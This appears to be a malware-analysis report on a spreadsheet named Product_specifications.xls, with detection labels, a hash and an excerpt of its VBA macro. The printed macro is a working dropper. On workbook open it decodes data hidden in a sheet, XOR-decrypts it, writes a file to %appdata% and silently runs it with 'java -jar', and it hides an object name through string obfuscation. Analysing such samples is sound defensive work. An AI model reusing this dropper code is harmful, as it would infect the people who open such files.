Product_specifications.xls
Macro drops and runs Java payload
CreateObject called with non-literal argumentWSH combines XOR with modulo arithmetic
SHA-256801e412d7dfefef917ea24d5ceb14e09bc23d5adb98105b1bdf7fb33be5a9642
Evidence
7:27… ed = False
8Attribute VB_Customizable = True
9
10Function getElement(ind)
11 Dim strs
12 ReDim strs(6)
⋯4 lines
⋯14 lines
31 ReDim resultBytes(UBound(data))
32
33 For i = 0 To UBound(data)
34 resultBytes(i) = data(i) Xor keyBytes(i Mod keyLength)
35 Next
36
37 EncryptDecrypt = resultBytes
38End Function
39
40Function StringToBytes(s As String) As Byte()
41 With CreateObject("ADODB.Stream")
42 .Type = 2
43 .Charset = "utf-8"
44 .Open
45 .WriteText s
46 .Position = 0
47 .Type = 1
48 .Position = 3
49 StringToBytes = .Read
50 .Close
51 End With
52End Function
53Sub Workbook_Open()
54 Dim size
55 size = ThisWorkbook.Worksheets("Data").Cells(1, 2).Value
56 Dim d As String
57 Dim i As Long
58 For i = 1 To size
59 d = d & CStr(ThisWorkbook.Worksheets("Data").Cells(i + 1, 1).Value)
60 Next i
61
62 Dim de() As Byte
63 With CreateObject(getElement(1) & CStr(8 / 4) & getElement(5) & getElement(4)).CreateElement("n1n")
64 .DataType = getElement(0) & getElement(5) & getE …
64:59… ment(2) & CStr(getElement(3))
65 .Text = d
66 de = .NodeTypedValue
67 End With
68 Dim dec
69 dec = EncryptDecrypt(de, CStr(ThisWorkbook.Worksheets("Data").Cells(1, 3).Value))
70
71
72 Dim shellobj
73 Set shellobj = CreateObject("wscript.shell")
74
75 Dim pe
76 pe = shellobj.expandenvironmentstrings("%appdata%") & "\" & CStr(ThisWorkbook.Worksheets("Data").Cells(1, 1).Value)
77 With CreateObject("ADODB.Stream")
78 .Type = 1
79 .Open
80 .Write dec
81 .SaveToFile pe
82 .Close
83 End With
84 shellobj.Run "java -jar """ & pe & """", 0, False
85End Sub
86
No evidence locations were recorded for this file. Raw result